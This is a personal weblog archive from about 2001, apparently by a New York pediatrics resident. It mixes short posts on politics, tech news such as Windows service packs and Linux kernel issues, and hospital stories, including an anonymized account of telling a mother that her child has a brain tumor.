And a link for Noah — David Neiwert’s article, The First Ted Olson Scandal. I haven’t read every word of it yet (being that it’s incredibly long for an online piece), but it seems to be a pretty detailed glimpse into some nasty doings by the person who stands a good chance of being confirmed as our country’s next Solicitor General.

Everyone does know that Windows 2000 Service Pack 2 is now available, right? The W2Knews folks have made the readme file available, as well, and the Microsoft knowledge base articles about the service pack are slowly coming to life on the MS support site. So far, the list of fixes is available (in four parts — one, two, three, and four), but the release notes aren’t yet up.

There are also a few new knowledge base articles related to Service Pack 2: installation information, updates to the Win2K support tools, and enabling app compatibility mode are those that I’ve found so far.

Unlike a couple others out there, I’m not on an official posting hiatus, I’m just getting my ass kicked at work. Only a week and a half left of this rotation, though, and then I’m on evenings for a little while, leaving plenty of time awake to play on the web.

There’s only a week left to apply for the MetaFilter scholarships, people, and Matt says that only a few people have submitted their essays. What, is it really that hard to give away money?

The House International Relations Committee voted 26-22 last week to overturn Dubya’s gag order on foreign organizations which engage in abortion counseling. Unfortunately, it’s just a House vote, which is now subject to debate on the floor of the House, the floor of the Senate, a compromise committee, and then (almost assuredly) a Bush veto. (Once again, I am reminded how completely idiotic it is that this man feels that we can’t give aid to organizations engaged in family planning and abortion counseling, but we can give aid to religious groups.)

Has anyone else added SmarterChild to their AIM buddy list? (Oops. It appears that AOL has disabled the bot for now, probably in anticipation of a more public launch soon.)

Jamie, of the New Orleans Real World cast, bungee jumped off of the Golden Gate Bridge over the weekend, but got tangled in his cords and had to be rescued (and arrested). He claims that he jumped in order to draw attention “to the need for a positive movement of personal growth and social healing” — or, more likely, because the voices in his head told him to.

A man filed a lawsuit for “hundreds of millions of dollars” against McDonald’s for lacing their french fries with beef flavoring, claiming that they are deceiving people by not telling them that the fries are not vegetarian. All I know is, if this guy’s lawsuit manages to raise the prices of McDonald’s fries by one cent, I’ll personally seek him out and punish him in the manner he so desperately deserves.

WOW, do I need to exercise more. Today, there was a pediatric arrest called in the hospital, but it was going on in a radiology suite that’s about five buildings from the actual children’s hospital — about a quarter mile away, including seven flights of stairs, two above-ground crosswalks, and two-dozen fire doors. By the time I got there, I was completely out of breath, and I swear that there was some substernal chest pain raring to rush forth. Thankfully, the child was fine (he was an outpatient who was being worked up for a known seizure disorder and had a seizure); unfortunately, three of us ended up in the pediatric pulmonology fellow’s office, opening up our airways with the help of a little albuterol. Because of this, when I got home tonight, I promptly strapped on my rollerblades and did the six-mile Central Park loop… I feel a bit better now.

I apologize for the silence here… I’ve been distracted, in a GOOD way.

An update on Jenny, for those of you who asked how she was doing: she was admitted to the hospital yesterday for preliminary imaging studies, and she’s booked in the operating room to have the tumor removed on Monday. Today, she went to angiography in order to visualize the blood vessels which feed the tumor — the neurosurgeons are looking to both predict any tricky parts of the surgery, and embolize any vessels which look to be a major problem. The embolization carries with it a pretty big risk, so Jenny’s going to be in the ICU from here on out.

I’m headed to the Poconos this weekend for my intern class retreat… kayaking, hiking, and the inevitable beer or twelve. It’s beautiful here in New York right now, and I cannot wait to get some sun exposure for the first time in who-knows-how-long.

While I’m gone, enjoy the wit and wisdom of some of my current faves:

Expect a little quiet here until mid-week — I started back on the inpatient wards today, and as is always the case when I go from an easier rotation back to the wards, it is going to take me a couple days to get my bearings, reset my body clock, and be more than barely comprehensible.

I had a downer of a week (which explains my lack of posts for the past two days).

Two weeks ago, a seven-year-old girl came into clinic to see me for a second opinion about a bump on her head. She wasn’t a patient of mine up until then, but her mother wasn’t satisfied with the answers that their primary pediatrician had been giving them, so she ended up with an appointment to see me in clinic. Unfortunately, I wasn’t scheduled to see patients that morning, so the girl ended up seeing another resident in the clinic. (To make things easier, I’ll call her “Jenny” — rest easy, though, that’s not her real name.)

The basic story was that Jenny had fallen off of her scooter last August, and that night, her mom had noticed a bump on the back of her head. She brought her into her pediatrician the next day, and after examining her, he felt that the bump was probably traumatic; he got skull X-rays, which were negative, and reassured Jenny’s mom that it was probably just swelling that would resolve over time. As standard practice, the doctor told her what she should look for if it was a fracture that had caused injury — dizziness, headaches, confusion, loss of normal sensation or movement, loss of consciousness, or anything that Jenny’s mom thought was out of the ordinary.

Over the next couple of months, the bump didn’t resolve at all, but her mom also didn’t notice any of the things that Jenny’s pediatrician had warned them about, so she didn’t worry all that much. Come last month or so, though, she began to think that it wasn’t normal for swelling from a scooter fall to last that long, so she booked the appointment to see me in clinic.

When I got to clinic that afternoon, the resident who saw Jenny filled me in on the visit. On his exam, he noted that the bump was at the back of her head, was around three or four centimeters in size, and was firm and nontender. She had no other symptoms to speak of — no neurological changes, no other bumps, no developmental changes, nothing. In this age group, the most common thing to suspect would be a dermoid cyst (a benign growth of tissue), so he had paged the dermatology resident on call and set Jenny up to see the dermatologists and get an ultrasound of the bump the next day.

Two days later, the derm resident called me to give me the details of his visit with Jenny. They had done the ultrasound, and saw a mass around six or seven centimeters in size with “cystic changes” at its core. (This just means that some of the tissue had formed walled-off areas filled with fluid; for various reasons, many masses do this when they reach a certain size.) This was consistent with the idea that the bump was caused by a dermoid cyst, but because ultrasound doesn’t do a great job penetrating very deeply (especially when there are cysts of fluid obstructing the beam), he had obtained a head CT scan.

His call to me was to tell me the reading on the head CT scan. It had shown pretty much the same thing as the ultrasound — a six or seven centimeter mass — but it also showed that the mass was inside the skull, compressing her brain. The radiologists had not been able to determine the type of mass, though (they weren’t able to tell what type of tissue it was, or where it originated), so they recommended that we get an MRI.

Now, the problem with getting an MRI is that it’s just not that easy to do at a big academic center. MRIs take a long time to do (much longer than a CT scan), and if the patient moves at all, it means that the study has to be restarted. This means that the scanners are constantly booked, and since priority is (obviously) given to patients who are currently in the hospital, getting an MRI for someone who isn’t in the hospital usually means waiting anywhere from a few weeks to a few months. I’m a persistent and ornery bastard, though, so instead of calling the scheduling desk, I called the attending radiologist directly; I managed to convince him that I needed to get this MRI sooner and he set it up for last Friday. I called Jenny’s mom and explained to her that we needed to further clarify what the bump was, and she said it wouldn’t be a problem to bring Jenny in Friday for the scan.

When I got into clinic at the start of this week, I went onto the hospital info system and checked the report on the MRI, but I wasn’t really prepared for what I read. The high resolution of the MRI allowed the neuroradiologists to clarify more about what was going on, and based on a few pretty specific findings, they predicted that the mass isn’t a dermoid cyst — instead, they read the scan as consistent with a meningioma or meningiosarcoma. Both are brain tumors, and both are very, very rare in the pediatric population; the difference between the two is that meningiomas are generally benign, and meningiosarcomas are universally aggressive and malignant. Either one of them would mean major brain surgery for Jenny, possibly followed by radiation.

I immediately paged the neurosurgeons and asked them what would be next, and they set up an appointment for Jenny to see them in their next clinic. I also called Jenny’s mom to ask her to come in, and we arranged for a visit this past Thursday… and then I realized that this would be the first time that I had told a mom that her child has cancer. That’s about when my stomach clenched up into a tight little ball, and my heart sunk into my legs. Nonetheless, I started to arrange all of the support that I’d need (my clinic attending and a social worker), making sure that at least one of them spoke fluent Spanish — Jenny’s mom is a native Spanish speaker, and I didn’t want there to be any chance of misinterpretation.

Alas, Thursday did roll around, and Jenny came in with her mom. And, since nothing that I dread ever gets easier, mom also brought in Jenny’s sister as a sick visit; I quickly examined and cleared her before asking their mother if we could go talk in private. The social worker and my attending joined us, and that’s when I had to break the news. I started by telling her that she had done the right thing by bringing Jenny in, and that we had the results from all the studies that Jenny had had done. I told her that Jenny had a mass in her head, and that from the MRI, it was likely that it was cancer — and at that point, mom lost it. The rest of the visit was alternating between consolation and answering questions, and it was probably the toughest hour of my life. At one point, the two girls came and opened the door to the room we were in, and I quickly got up to shepherd them away; as we were walking back to my exam room, Jenny asked me why her mom was crying, and I just plain didn’t answer.

The social worker spent another half-hour with Jenny’s mom, making sure that she had someone to take them home, that mom had someone to talk to (it turns out that she has a therapist), and that they had all their paperwork for their visit to the neurosurgeons. During that time, I went into my exam room and just played with the sisters, trying to block out that one of the two was about to begin one of the most trying and difficult things a person can ever go through. And once their mom was ready to go, Jenny reached up and gave me a big hug goodbye; it took absolutely everything that I had in me to not completely disassemble into a sobbing mass right there.

Two weeks ago, I learned all about the exciting side of being a pediatrician, but this week, I had to experience a little more of the depressing side — I had to tell a mom that her daughter has cancer.

I really like Sylvia’s post from April 19th. Go read it.

It’s funny — I didn’t realize how much I rely upon being able to search the Usenet archives until Google Groups took over and temporarily took most of the older posts offline. Lucky for me (and everyone else), the old posts are back; the icing on the cake is that Google’s searches occur much faster than they did under Deja’s old system. (Remember that it’s searching a database of over one terabyte of information.)

deja search return time

Other cool things about Google’s new interface: it redirects from old Deja.com URLs to the right article in Google’s new database, and it supports equivalents of almost all of the old Deja search language terms. Something I don’t like is that it seems that it takes much longer for articles to get into the database, but given how quickly Deja got the old databases online, I’m not too worried that this will remain a limitation for long.

Lest you think that the judges of this country are immune to the temptations of vice, Law.com has compiled a list of last year’s most injudicious wearers of the robe.

Reading the email that Gary Krakow received in response to his review of Apple’s OS X, I’m glad that I don’t write a widely-read computer opinion column. It just doesn’t seem like it would be all that satisfying to deal with that many uninformed, rabid evangelists who feel welcome to call you an asshole for writing about your experiences and beliefs.

A robotic, remotely-controllable plane completed the first unmanned crossing of the Pacific Ocean yesterday, taking off from Edwards Air Force Base in California and touching down in Adelaide, Australia. The plane is a Global Hawk reconaissance and surveillance plane, produced by Northrop Grumman and not anticipated to be in active service until around 2005; it will be participating in military exercises in Australia for the next week. This plane ain’t no tiny whirlygig, either; it’s 44 feet long, and its wingspan, at over 116 feet, is longer than that of a 737.

Once again, Dahlia weighs in from the Supreme Court, and this time, Clarence Thomas speaks!

Great headline of the day: FAA Orders Jam Nuts Inspection. I knew that the airlines were becoming more concerned with passenger comfort and safety, but I guess I didn’t realize how far they had gone…

Wow, this not-so-little bug sucks. The short form of it is that there’s a way to disguise non-text files as text files (actually, any file as another type of file) in Windows; when the user double-clicks it, it will execute as whatever real kind of file it is (e.g., a big whopping virus, or a trojan that just deletes everything on your computer, or whatever). BugNet has a self-extracting archive file that (safely) demonstrates the bug.

My cellphone company is growing and growing. Originally, I was concerned that I had chosen a company which was too small and wouldn’t be able to handle any significant growth; now I’m worried about it getting to be too big to maintain good customer service.

The Supreme Judicial Court of Massachusetts (the highest state-level court) ruled today that a man must continue to make child support payments for a seven-year-old girl despite conclusive DNA testing which shows he’s not the father. The ruling hinged on the fact that dad waited too long to challenge paternity; what a load of crap. (I tried to find a copy of the decision, but it appears that Massachusetts is still stuck in the 1980s — the only way to get decisions is via a dial-up bulletin board system.)

In looking through my archives to find the other two times I’ve talked about forced child support despite proof of non-paternity, I noticed that the majority of news articles I’ve linked to over the life of Q Daily News don’t exist anymore. That just plain sucks.

Screw the X-ray — they should get an MRI of the Liberty Bell. Oh, wait, no….

I admit it, I signed up for Salon’s premium content today. I really like Salon; I like the mix of traditional news and more colorful content, and I can’t say that the occasional dip into sex and the general liberal slant hurt the site at all.

May 1st Skiboot.

I ain’t gonna lie to y’all — the coolest example of why the Internet rocks is that I’m currently watching a live, full-motion video feed from a camera on the outside of the International Space Station, with the CanadArm 2 hanging off of it and Earth’s surface soaring by below. So freaking cool. (The funny part is that, on the live audio, they’re actively trying to debug a serial and an ethernet connection somewhere on ISS.)

Dahlia Lithwick is back on Slate with her latest Supreme Court dispatch; this one covers the Court’s ruling on whether police can arrest people on relatively minor misdemeanor offenses, and wonders how the Court would look if, instead of voluntarily retiring, the Justices were subjected to Survivor-like rules.

The flooding in the Midwest has finally hit home for me. (In all seriousness, this is a pretty cool picture.)

If you’re running the latest-and-greatest Linux kernel (the 2.4 series) and you’re having repeatable trouble contacting certain websites, you may want to take a look at this. The 2.4-level kernels contain support for a new networking protocol, ECN (explicit congestion notification), and the networking equipment serving certain websites doesn’t appear to support the new packets.

My biggest mistake last night was beginning to read she hates my futon at around midnight. I finished it around 2:00 AM; what a great novella. It’s all on the web, and what’s written so far is divided into 23 easy-to-digest chapters, so you don’t have much excuse for not going there now and starting to read.

Wow — finally, good medical news for people like me!

CanadArm 2 is alive! (Another great picture is here; unfortunately, they’re both Yahoo News pictures, which will expire at some point.)

Damn, sometimes I love my referrers log. Today, I found pleonasm through the log, which has some pretty great photo archives and is based on the no-tables, pure-CSS three-division layout that makes me drool. Nice, nice work, Matt.

I cannot even begin to understand how someone managed to program both a chess game and an automatic computer player into an under-5K web page.

The Institute of Medicine has finally released its long-awaited report, and has concluded that there is no evidence of a link between the MMR vaccine and autism. The IOM committee is an impressive group of people who were all carefully screened to eliminate even the smallest tinge of bias; automatic exclusion criteria were any prior research on vaccine safety, any prior receipt of money from vaccine manufacturers or parent companies, or time served on any vaccine advisory committees. Of course, the cynic in me realizes that this won’t quiet the rather vocal group of people who insist that the link exists; that being said, it may help prevent parents from believing them.

And in semi-medical related news, the Supreme Court today let stand a lower court ruling that will allow Terri Schiavo’s husband to have her feeding tube removed, ending her life and his struggle to stop life-sustaining treatments against her apparent wishes..

Due to the request of a friend, there’s now a super-lightweight version of Q Daily News (perfect for AvantGo usage, for example). If you would like to use it for AvantGo, you can click here to automatically create the custom channel subscribing your handheld to the page.

Yesterday, New York Yankee Paul O’Neill hit a game-tying home run in the tenth inning, something that isn’t terribly unique. What was unique was his reaction to the home run — when the ball left his bat, he reacted with disgust, as if he had hit a ball straight into the hands of an infielder. It was priceless when he looked up and noticed Red Sox outfielder Darren Lewis backing against the wall, and watched as the ball dropped into the crowd. Two batters later in the lineup, David Justice hit the game winner, and the Yanks redeemed themselves against a Red Sox team that has opened the season well.

It’s sad that Dubya’s handlers weren’t able to slip that meeting in with him when they would have explained that the language spoken in the nation south of our own is named “Spanish.” (For those uninterested in picking through the article to find the quote, Bush was asked if he’d answer questions; his response was that he wouldn’t, not “in English, French, or Mexican.”)

Why do otherwise-ordinary people use pseudonyms on the web?

Going into the first round of the NBA playoffs, just what the New York Knicks needed was two players being quoted making pretty overtly anti-Semetic statements in today’s New York Times Magazine. Since the story actually hit the wires yesterday sometime, both Allan Houston and Charlie Ward (the two players quoted in the article) have further “clarified” their statements; this clarification involves saying that they’re “just the messenger” and making some inscrutable claim of context.

Cool — zero-copy networking is going to make it into the mainstream Linux kernel. I wonder how easy it will be to enable or disable it; I can’t imagine that it will be useful for your average low-load server, whereas large web and database servers probably will get enormous benefit from not having to copy data multiple times before putting it onto the wire.

Dammit, I know this will shock you all, but Dubya’s hypocracy continues to piss me off.

Disney is continuing the evisceration of its internet divisions by shutting down Mr. Showbiz. It’s a damn shame; between Mr. Showbiz and the Internet Movie Database, it’s a tough call which is the most valuable movie website. The oddest part of the move is that they are replacing the website with “a beefed up dot-com” related to Us Weekly, a title in which Disney only owns equity.

At my other job today, our server room air conditioners decided that they’d had enough. Let me tell you, 60 computers in a closed, uncooled room does not make for a good scene; two or three machines aren’t with us anymore, and we had to shut down all but five or six of them just to keep the room from crossing the 100 degree mark. The kicker, though, was the monitoring system that hit me with three thousand email messages alerting me to the temperature problem. Would you say that it’s time to find a better way to keep tabs on the room?

Today, I was reading a (damn funny) article on the web, and noticed a link at the bottom, “Want to use this article? Click here for options!” The link takes you to an iCopyright page, showing you the price list for various things that they will “let” you do — like print the article (for a mere $10!). I know that iCopyright’s lunacy has been discussed before, but do they really think that I owe them $10 if I print a copy of the article? With a business model like this, it’s no wonder that the company nearly shut down.

Mostly for my own future reference, but also for those of you who are interested in locking down your Windows server installations: Hardening Windows 2000, by Philip Cox. (That thar is a PDF, by the way…)

Geeks at NASA’s Goddard Space Flight Center have put together some of the coolest videos I’ve seen — they’re virtual camera views, of a camera that starts out way up in orbit above a city and literally falls until it is a couple hundred feet above the ground. Here’s Washington, D.C.; they also did Atlanta, Orlando, San Fran, and Los Angeles. (Each is an MPEG movie; consider yourself warned.) Go check ‘em out, now.

The Brunching Shuttlecocks has a great set of life lessons learned from Black and White. Like the True God is “whichever one dumps the most food and lumber in your home town. It’s a lot like Congress.”

Lately, I’ve enjoyed reading Lia’s cheesedip; now, if there were only a couple more sites like ours, we’d be able to cobble together a clan of cheese devotees.

Why is it that (arguably useful) companies like Kozmo, Pets.com, and Deepleap have gone under, yet (completely useless) companies like Digital Convergence are still alive and kicking? There seems to be a major injustice afoot. (A benefit of Digital Convergence’s continued life, though, is that you can still go and read the FAQ page for the CueCat; it is pretty much the most asinine group of questions I’ve ever read, each repeated about twenty times in ever possible iteration and phrasing.)

It seems so tragic when Darwin tries to grab hold of another young American. (In all seriousness, what’s tragic is that there’s another kid who has so little guidance as to what’s right and wrong from his family that he’s both watching Jackass and imitating stunts from the show.)

John Dvorak has weighed in with his opinion on Microsoft’s newest licensing strategy (online authorization of WinXP and Office XP); it’s been a while since I’ve seen an editorial so full of sheer conjecture and suppositions. Of course, any online op-ed piece about Microsoft is worth reading, if only for the rabid comments by users. (P.S.: John, it’s “toe the line,” not “tow the line.”)

I have to confess, I don’t really understand why people are sooo up in arms about the licensing scheme for Windows XP and Office XP. Microsoft is faced with a problem — many, many people pirate the company’s software, on the person-to-person level (intra-office, in homes) and on the mass-production level (Israeli and Chinese pirating organizations). Because of this, Microsoft loses lots of money. Now, one thing we all agree on is that Microsoft is a company which exists to make money; being a publicly-held company means that it exists to make money for its shareholders. It would be irresponsible of the company to not institute a strict control system for licenses on their products; they don’t exist to give things to people who are too greedy, lazy, or otherwise disinclined to part with their money for products which they install and use.

My newest little patient went home from the hospital today, pink, healthy, breathing comfortably, and eating “mucho, mucho mas.” Mom is bringing him in to see me in clinic on Monday.

I’m glad that my TiVo is of the regular variety, since it appears that owners of DirecTiVo boxes have reason to be less than enthralled with last year’s best invention.

Rule number one of protesting: you don’t belong on the front lines if you have a tendency, if apprehended, to lose control of your bladder.

I’ve been listening to Paul Simon’s new album a lot lately, and completely dig the track “Pigs, Sheep, and Wolves.” It’s so far outside of Paul Simon’s normal vocals — kinda trippy, very mellow. It’s also an indictment of the death penalty, but wound into a little fairy tale about farm animals. Buy the album; check out the song.

I have no idea how I missed it when it was written, but the Democratic Response to Barbra Streisand’s Memo (courtesy of Modern Humorist) is a sheer work of genius. Then again, any web page that encompasses the sentence “Nothing captures the spirit that is Barbra like a child dressed as a Victorian whore” is a sheer work of genius.

I’m sorry if this offends any of you, but the red-blooded male in me just needs to point to the News Of The World’s photo spread of Anna Kournikova sunbathing topless. (My brother has been forwarding me URLs for years that are all obvious fakes; this time, he appears to have found the real thing.)

Today was another day at the Child Advocacy Center, but this time, it was a good day. Instead of spending time with children referred in for suspected abuse and parents who both confess to and believe in that abuse, I had two cases where there was clearly no evidence to back up the accusations that brought them to my interview room. In the first, the mom admitted to hitting her son once, but also produced evidence that she has sought out conseling and anger management classes; in her words, “I lost my cool, and I know that it wasn’t right. I want to make sure that it doesn’t happen again.” The second case was even more clear-cut — the parents were some of the most loving ones I’ve met, and all I can guess is that the accusations against them were made out of spite. Their case was the first time I’ve ever reported back to Child Welfare that there was no need for any further intervention.

Cool — it appears that my bitching about the disappearance of All-Star Newspaper became the representative link that Suck chose when discussing the death of the Web. It’s funny, but I never think that people read this site, and then someone links here, and I’m amazed.

Since the Pulitzers were announced last week, I’ve tried to spend some time finding and reading articles written by the winners. So far, my hands-down favorite is the writing of Dorothy Rabinowitz, opinion columnist for The Wall Street Journal. Her article on the false prosecution of Patrick Griffin is stunning; likewise, her recount of Brandeis’ “internal judicial proceedings” against a male student accused of rape is a rare glimpse into how today’s colleges try to hush sexual accusations (and brutalize basic civil liberties in the process).

Interestingly, my alma mater has been at the forefront of the move to eliminate due process from sexual assault accusations. A year ago, Columbia adopted a new sexual misconduct policy that eliminates the ability to cross-examine the accuser, prohibits the accused from having an attorney present during the hearing (or the appeal), and even explicitly states that the accused doesn’t have the right to be present to hear all witnesses. (Seriously, you have to read the policy to believe it.) The Columbia Daily Spectator has published quite a few good articles and opinion pieces on the new policy; likewise, the national press has picked up the story, and there’s even a national petition against the horrific policy.

Kozmo decided to put its website back up yesterday, but with a disturbing note: if you were holding onto a rental, unsure of what to do with it once they closed their doors last week, you had until the end of the day to return it or you’d pay for it. Janelle Brown thinks that maybe, instead of an inconvenient necessity for the failed company, this stunt was a way to try to get more money to pay off creditors.

In one of the more disturbing things I’ve read in a while, a West Virginia man defended himself against the accusation of raping his 13 year-old daughter by saying that he was only trying to teach her about sex and birth control. (The judge didn’t buy it; he was sentenced to 20 to 40 years in prison.)

Today, I received a junk fax from some travel agency, and decided that they deserved to be punished for breaking the Federal law against unsolicited faxes. Along the way, I discovered the FCC’s online consumer complaint form — it provides the ability to complain specifically about unsolicited faxes, and (ostensibly) starts an investigation by the Commission. We’ll see what happens.

The upcoming week of April 23 through 29 is TV Turnoff Week — one week to discover that there is life beyond the boob tube. I can’t tell you how many kids I see in clinic who have the TV as a babysitter; many of them have learned far more from their TV than they have from their entire family. So, if you have a child that spends a little too much time in front of your television, consider planning some alternative activities next week.

From Phil comes a link to Cisco’s security advisory for the bug that I mentioned yesterday (the one which crashes Catalyst 5000 switches when you plug Windows XP machines into them). Update thy flash ROMs, people…

Tonight, I was putzing around with Quicken, finally getting around to setting up all my investment accounts and whatnot. After entering everything, I got back to the global summary page, noticed the various entries (Roth IRA, SEP IRA, 401(k), mutual fund investments, blah blah blah), and it hit me square in the face — I’ve become an adult. When the hell did that happen? Why didn’t someone warn me about it? Damn you all.

Wow — The MetaFilter Scholarship. There are about a billion good things I could say about this, but instead, I’ll let everyone else’s words speak for me, except to add that it should surprise nobody that one of the most impressive guys on the web should step up and do something this noble and deserving of praise. Now go, everyone, and donate more to the cause.

Cool. I was surfing around tonight, trying to find out some information on neonatal screening programs across the country, and ran across NewbornScreening.com. The coolest thing about the site, though, is that it appears to run on the SlashCode bulletin board system (the same system that’s behind Slashdot). Finally, a good use for the software…

Business Week has a great article on how, despite the eventual crash of last year’s internet-crazy market, the money managers and brokerage firms raked in the profits. The best quote of the piece:

So will the financial firms’ newfound restraint hold them back next time? Don’t bet on it. Experienced money managers say the lesson to draw from the Net bust is that investors need to do their own homework and not just rely on the experts. “At the bottom of the cycle, they tell you they’ve tightened their due diligence standards,” says Van Wagoner. “At the top of the cycle, they always find a reason to take companies public. You can’t rely on them to do the due diligence.”

One of my friends and I always laugh at the corporate IT department when they tell us that we can’t plug a machine into the network when it’s running some new version of an operating system; their reason is always that “it could destabilize the network,” something that we just don’t believe could be true. Well, I should amend that to didn’t believe it could be true, since a bug in Cisco’s Catalyst 5000 operating system causes it to crash when faced with traffic from a Windows XP machine, bringing down the network. (Meanwhile, read the talkback threads at the bottom of the article — typical Microsoft bashing, even when the article specifically notes that the bug is Cisco’s, not Microsoft’s. Morons.)

PLEASE, ANYONE WITH INFO ON WHOM TO CONTACT TO SET UP A VINTAGE BOOTH AT THE STREET FAIRS, WHICH DAYS , WHICH WEEKENDS, ETC. ANY INFO WOULD BE APPRECIATED. THANKS…BILL

I sorta felt that I should update people on what’s happening with the little boy I brought into the ER on Thursday — he has respiratory syncytial virus, but is doing much better. He’s still in the ICU, but should be coming out to the general ward this weekend.

I also wanted to say thank you to everyone who sent or posted kind words about the narrative. It all means a tremendous amount to me; it just extended the good mood that much more.

I had all of these great links that I was going to share today, but then I had one of the best days in the history of great days, and I felt like sharing it with all of you instead.

A judge in Washington, D.C. is facing an interesting conundrum — holding a capital punishment trial in a city that hasn’t had one in over 30 years, and overwhelmingly voted to reject a death penalty law in 1992. It’s a federal case, with the federal death penalty, and once you factor in that two-thirds of the potential jury is automatically disqualified on belief, that the defendant is not accused of killing anyone by his own hands, and that the jury will remain anonymous, the case is expected to be an epic.

Thanks to Matt, I now know a little about what happened to my favorite former news site, All Star Newspaper. Wow — what an effing disaster Brill’s seems to have been. Seems like we all graduated from fifth grade a long time ago, but some seem to deny it. Meanwhile, Tim Carvell (a college friend of mine, the only friend I have who’s in the know, as it were) has a good essay questioning how well Brill’s and Inside.com will get along.

Awesome — Marlon Brando will have a cameo in the upcoming Scary Movie 2. Charlton Heston apparently turned down the role (for which I am very thankful, being as he makes me ill).

I don’t know about y’all, but there’s a bit of outrage brewing in me about how blatant and out-in-the-open it was, UPS bribing two-thirds of our national elected officials in order to secure a U.S.-to-China shipping route. Of the 368 Congressmen or Senators who wrote letters of support, 279 of them received checks from UPS; even more, both UPS and our elected representatives are quoted denying the link between lobbying and donations. Bastards, all of ‘em, I tell ya’.

Did anyone else know that there’s a registry setting in Windows 2000 that allows you to intentionally crash your machine with a single key combination? Seems kinda dangerous, but I guess there does need to be a way to test these kind of things…

All the windows open, pasta with tomato and vodka sauce, Negra Modelo, and baseball on the radio — spring has sprung, and I couldn’t be happier.

There have been some interesting goings-on in the space where sports and the media meet. Last year, the NBA sued the New York Times over the latter’s sale of images that were taken by photographers at basketball games, arguing that news outlets are only permitted to use images of NBA games for news coverage, not commercial sale. Yesterday, the two settled the lawsuit for what seems to be a pittance — the Times agreed to link to NBA.com from the website selling the images. At the same time, though, Major League Baseball is going after media outlets over the same issue; it remains to be seen how this settlement will effect this effort. (The New Yorker currently has an article on the baseball issue, but I doubt that the link will work next week.)

Found at MetaFilter: UNC techies were having a bear of a time finding a server on their network — it was responding to network traffic, but could not be physically located. After tracing wires a bit, it was found — sealed behind a wall.

The people at iRobot are doing something very cool, both with robots and with programmatic concepts. Instead of building robots that are programmed to perform single tasks independently, they’re building swarms of robots which are programmed to work together. Instead of each of them having discrete information, they all contribute to a pool of information, and feed off of the same pool to make decisions. Very, very cool.

Predictably, there were some incredible sites submitted to the 2001 5K website design contest. My snap-judgment favorite right now is SoundPad; that could change as I make my way through them all.

Merrill Goozner has some interesting points to make about the justifications used by big pharma to price their drugs as high as they do, and restrict them from markets in which they are direly needed.

The operation succeeded! 88 hours of surgery, and both little girls survived. It remains to be seen how much neurological damage they sustained (some is, I suspect, inevitable).

The tough job was to reroute all the shared blood vessels so that both brains had full blood supply. This is an awesome achievement.

Hey! What happened to my All-Star Newspaper??? I loved this spin-off of Brill’s Content, having given it the prime spot at the top of my IE Bookmarks “News” category folder; now, it redirects to the main Brill’s Content page. (Strangely, though, it’s still in the header navbar there.)

Why is this the first time I’m reading the thread on the old Userland discussion group where Dave Winer broadly banned people from crawling the group and generating an email list out of it? My interest stems from the fact that the reasons he uses to spell out why he doesn’t want people to do this can all be thrown back at his new product, Radio Userland. Radio crawls weblog syndication files and throws the content onto people’s desktops — even if you aren’t done editing it, which is what Dave’s panties seem all tied up over.

I have to tell y’all, reading Greg Knauss is a pleasure that’s difficult to top. EOD is either a journal-sans-detail or a weblog-sans-links… but either way, it rocks. Go there. Now. (Update: after deeper perusal, I found that it does have links occasionally. I apologize for misleading you all.)

This weekend, I went with my parents to our yearly seder event (we have to act Jewish sometime), and they brought along a present for my four-year-old cousin, a puzzle game named Rush Hour Jr. What a terrific game — it involves sliding pieces around a grid in order to get a car out of a blocked-in space, and it requires pretty good concentration skills and deductive reasoning. It’s rated for a minimum of six-year-olds, but my cousin (who’s damn smart, mind you) had no problem with a lot of the layouts. If you’ve got a young child, buy the game. Trust me. (If you’ve got a PalmPilot, you can also download a version that someone wrote. I’m now an addict.)

Meanwhile, I’m also now addicted to the online puzzle site that’s run by Binary Arts (the maker of Rush Hour). I don’t think I can do a single puzzle that’s under the advanced header…. ouch.

Fascinating: in Singapore, an operation to separate a set of conjoined twins is continuing into its third (now probably fourth) day, with the surgeons swapping in and out so that they can rest. The twins are joined at the head, and share vascular supply to their brains (the article doesn’t mention if they do or don’t share actual brain tissue as well).

And while on the subject of brains, who would have predicted that Wired would have a good article on the controversies surrounding the concept of brain death?

The FCC has released a policy statement intended to help guide broadcasters understand how it determines decency and indecency, but in reading it, I can’t get over how entertaining it is simply standing alone. The excerpts of things that have been sanctioned by the FCC range from hilarious to sick; also interesting is how much DJs try to get around the rules, and how little the FCC lets them. (In addition, I had no idea that the Monty Python “Sit On My Face” lyrics had been found to be indecent by the FCC!)

NASA launched the Mars Odyssey surveyor this morning, starting its 6-month trip to the Red Planet on the hunt for water. The best part of the launch is that there were on-rocket cameras; from the launching pad to takeoff to booster separation to bare-bones, the images are pretty damn cool. The Houston Chronicle also has a seven-minute video from the on-rocket camera… whoa.

Do yourself a favor and check out the two stunning pictures that are part of MSNBC’s Week in Pictures — dog with tigers and spiral galaxy. (The home link is here; after this week, it will most likely move here.)

Speaking of pictures, the Astronomy Picture of the Day site had a great week. First came Aurora Alaskan Style, a great picture of the hazy aurora over Fairbanks caused by the sun’s massive ejection last week. Then, APOD displayed Equinox + 1, an image of the sun rising above an east-west water canal in Tempe. And lastly, they reported on the American victory over the Russians in the first space Quidditch match (which, if you hadn’t guessed, was their contribution to this year’s April Fools library).

Is there something I’m missing in this quote?

The Senate needs to leave enough money in the proposed budget to not only reduce all marginal rates, but to eliminate the death tax, so that people who build up assets are able to transfer them from one generation to the next, regardless of a person’s race.

This week, I decided to build myself a new, blazing desktop, and last night was the night I brought everything home to build the beast. I learned a few things: those infernal rear-panel punchout templates can make or break an ATX computer case, all PC133 SDRAM is not the same, and always upgrade to the latest motherboard BIOS before beginning the installation. All in all, though, everything went as it should have, and I’m very happy with my new machine.

Which leads to a minor note: this server will be down for a few minutes later today, so that I can upgrade a piece of hardware that was pulled out of my old desktop.

You’ll remember that yesterday, my connectivity was restored only by the grace of a Verizon tech who installed a functional T1 in parallel to my broken one. Well, overnight, my ISP got the original one working… which means that, for the next couple of weeks, I’ve got two T1s. Of course, traffic is only routed over one of them, but I can dream, can’t I?

Pepsi seems to have a saucier side down under. (It’s a background that they have available for download; pay particular attention to the right side of the image.) Thanks to Chuck for this one.

Oh, what incredible genius lies within The Guardian’s world primer for George W. Bush. Take, for example, the entry on Russia: “A confusing one these days. Recent reports suggest that the Russian government is seething with corruption, its labyrinthian offices and corridors staffed by indolent good-for-nothings with a history of heavy drinking. As such, few points of similarity with a Bush administration, and probably therefore not a priority.”

What a hell of a surprise — Bob Knight is a nutbag, and seems to have screwed his new school’s team already by bagging three scholarship recipients without understanding that he can’t replace them until next year.

